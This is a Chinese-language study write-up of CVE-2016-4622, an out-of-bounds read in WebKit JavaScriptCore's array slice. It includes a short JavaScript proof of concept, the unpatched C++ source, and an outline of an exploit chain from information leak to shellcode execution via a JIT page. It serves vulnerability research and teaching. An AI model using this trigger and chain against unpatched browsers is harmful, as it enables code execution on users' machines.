CVE-2016-4622 analysis

0x00 : Vuln info

Vuln : Out-Of-Bound Read
Webkit Version : 320b1fc
Source Code : ArrayPrototype.cpp 的slice部分逻辑

1
git checkout -b CVE-2016-4662 320b1fc

0x01 : PoC

1
2
3
4
5
6
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
// b = [0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0]

0x02 : Analysis

PoC 分析

1
2
3
4
5
6
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
// b = [0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0]

原本想要做的是:从a array中取前十个元素,放入b array中。

漏洞成因

slice对应分片操作,这里b数组的值是取的a数组的前十个元素,但是这里取的时候,valueOf这个回调修改掉了a数组的长度;然而,在发生拷贝操作的时候,slice的实现函数并没有检查长度,就直接拷贝了数据,这就导致b数组取的时候访问到了a数组以外的内存,所以可以看到b数组的内容是:[0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0]
0.123之后都是其他数据,此时已经发生了越界读。

root cause : 拷贝前未做长度检查

未patch的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
JSObject* thisObj = exec->thisValue()
.toThis(exec, StrictMode)
.toObject(exec);
if (!thisObj)
return JSValue::encode(JSValue());

unsigned length = getLength(exec, thisObj);
if (exec->hadException())
return JSValue::encode(jsUndefined());

unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end =
argumentClampedIndexFromStartOrEnd(exec, 1, length, length);

std::pair<SpeciesConstructResult, JSObject*> speciesResult =
speciesConstructArray(exec, thisObj, end - begin);

if (UNLIKELY(speciesResult.first ==
SpeciesConstructResult::Exception))
return JSValue::encode(jsUndefined());

// 执行切片操作,但是没有任何检查
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath &&
isJSArray(thisObj))) {
if (JSArray* result =
asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}

JSObject* result;
if (speciesResult.first == SpeciesConstructResult::CreatedObject)
result = speciesResult.second;
else
result = constructEmptyArray(exec, nullptr, end - begin);

unsigned n = 0;
for (unsigned k = begin; k < end; k++, n++) {
JSValue v = getProperty(exec, thisObj, k);
if (exec->hadException())
return JSValue::encode(jsUndefined());
if (v)
result->putDirectIndex(exec, n, v);
}
setLength(exec, result, n);
return JSValue::encode(result);
}

0x03 : Exploit

这里不再赘述,原文作者写的很详细,我也是跟着他的文章调试学习的。

利用思路:

  1. 信息泄漏
  2. 伪造对象(Fload64Array)
  3. 任意地址读写
  4. 读取一个function obj的地址,触发JIT生成RWX的代码
  5. 利用任意地址读写写入shellcode
  6. 执行function

0x04: 后续

1. how to find this bug?

​ 代码审计就不说了,主要是关注在一些敏感函数前后的check情况,比如复制操作,拼接操作等。

​ Fuzz的话,生成式和变异式都很容易覆盖到这个case,并没有很难,只是这个洞是一种模式的问题,所以在写fuzz的规则或者模版的时候要多注意。所以在看洞的时候要思考,这是一个模式的问题,还是个例。

2. 其他类似的bug

​ runtime中利用slide-effect来修改一些对象类型、长度等信息,来触发一些类型混淆、越界的情况很多,不仅仅在jsc引擎,但是这些基本已经成为历史了。 这种类型的漏洞,在2016年keen lab 在poc的议题中提到了很多,其中也有类似4622这个洞的一些其他漏洞。

3. 关于调试这个洞

新版本的macos上编译有点麻烦,需要老版sdk,不想折腾的,直接装老版本的macOS虚拟机就行,这是最简单的办法;如果你选择自己编译,慢慢修错误吧。。问题太多了。

如果调洞,Linux也可以,直接build-jsc-only就好了。

lldb调试的话,推荐Voltron插件,同时推荐我写的tmux脚本

0x05:引用

攻击JavaScript引擎:一个JavaScriptCore的学习案例(CVE-2016-4622 (2016-10-27))

attacking_javascript_engines